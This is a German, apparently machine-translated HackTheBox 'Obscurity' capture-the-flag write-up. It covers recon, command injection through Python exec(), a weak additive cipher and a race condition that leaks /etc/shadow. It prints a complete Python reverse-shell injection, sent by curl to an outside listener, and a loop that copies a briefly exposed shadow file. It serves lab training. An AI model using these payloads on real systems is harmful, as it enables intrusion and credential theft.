HackTheBox. Passage der Dunkelheit. OS Command Injection und Race Condition

Bild

Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden .

In diesem Artikel nutzen wir eine Sicherheitsanfälligkeit im Python-Code aus und führen auch einen Race Condition-Angriff durch.

Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in ein privates Netzwerk mit Personen gelangen, die etwas auf dem Gebiet der Informationssicherheit wissen :)

Organisationsinformationen
, , Telegram . , , .

. , - , .

Aufklärung


Dieser Computer hat eine IP-Adresse 10.10.10.168, die ich zu / etc / hosts hinzufüge.

10.10.10.168    obscurity.htb

Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 500 Paketen pro Sekunde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500

Bild

Für detailliertere Informationen zu den Diensten, die an Ports ausgeführt werden, führen wir nun einen Scan mit der Option -A durch.

nmap -A obscurity.htb -p22,8080

Bild

Der Host führt den SSH-Dienst und den Webserver aus. Wir schauen uns das Web an.

Bild

So haben wir:

  1. Aufzeichnungsserver
  2. Verschlüsselung verwendet
  3. Der Servercode in der Datei SuperSecureServer.py in einem unbekannten Verzeichnis.

Da wir den Namen der Datei kennen, gehen wir das Verzeichnis durch. Lass es uns mit wfuzz machen. Als Parameter übergeben wir das Wörterbuch, die URL und den Antwortcode, die ignoriert werden sollen.

wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404

Bild

Und wir finden dieses Verzeichnis. Laden wir den Servercode herunter.

wget http://obscurity.htb:8080/develop/SuperSecureServer.py

Einstiegspunkt


Wir öffnen und analysieren den Server. Wir finden eine potenziell gefährliche Verwendung der Funktion exec ().

Bild

Fügen wir dem Code einige Zeilen hinzu.

Bild

So können wir den Server lokal starten und sehen, was in die exec () - Funktion gelangt. Lassen Sie uns den Server starten und eine Anfrage senden.

curl http://127.0.0.1:33333/asd

Bild

curl "http://127.0.0.1:33333/asd'"

Bild

curl "http://127.0.0.1:33333/asd''"

Bild

Somit haben wir OS Command Injection.

curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"

Bild

Wir werden die folgende Reverse Python Shell verwenden.

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Da der Servercode bereits den Import der erforderlichen Module enthält, entfernen wir deren Import aus der Shell. Wir vermeiden auch Anführungszeichen und eckige Klammern.

curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

Bild

Fein! Alles funktioniert auf dem lokalen Computer. Lassen Sie uns diese Anfrage an den Server ausführen.

curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

Bild

Wir haben einen Einstiegspunkt.

BENUTZER


Wir sehen uns auf dem Server um und finden lesbare Dateien im Home-Verzeichnis des Benutzers.

Bild

Wir lesen Dateien.

Bild

Somit werden die Dateien verschlüsselt. Laden Sie alles herunter, was wir dem lokalen Host geben. Wie in der Nachricht angegeben, wird die Datei check.txt verschlüsselt und das Ergebnis in out.txt angezeigt. Lassen Sie uns den Algorithmus sehen.

Bild

Während der Verschlüsselung erfolgt somit das Hinzufügen des Textsymbols und des Schlüsselsymbols modulo 255. Beim Entschlüsseln werden diese Symbole subtrahiert.

Das heißt, ([check.txt] + [key])% 255 = out.txt und ([out.txt] - [key])% 255 = check.txt. Dann ([out.txt] - [check.txt])% 255 = Schlüssel.

Bild

Bild

Und sieh dir den Schlüssel an.

Bild

Und jetzt entschlüsseln wir mit diesem Schlüssel das Benutzerpasswort.

Bild

Wir verbinden uns über SSH mit diesem Passwort und nehmen das Benutzerflag.

Bild

WURZEL


Schauen wir uns die Einstellungen von sudo an, nämlich ob der Benutzer robert irgendwelche Befehle unter sudo ohne Passwort ausführen kann.

Bild

Mal sehen, den Code. Der Code erfordert Authentifizierungsdaten. Anschließend wird der Inhalt der Datei / etc / shadow in das Verzeichnis / tmp / SSH / * kopiert. Anschließend werden die Authentifizierungsdaten überprüft und die Datei gelöscht.

Bild

Bild

Daher müssen wir es schaffen, die Datei aus / tmp / SSH / * zu kopieren, bevor sie gelöscht wird. Führen Sie das zweite Terminal aus und führen Sie darin einen endlosen Lesezyklus aus.

for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done

Führen Sie nun das Programm aus, geben Sie alle Daten ein und sehen Sie die Hashes.

sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

Bild

Und sie brechen leicht.

Bild

Wir nehmen die Flagge der Wurzel.

Bild

Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, zusammengeführte Kurse sowie Software. Stellen wir eine Community zusammen, in der es Menschen gibt, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.

All Articles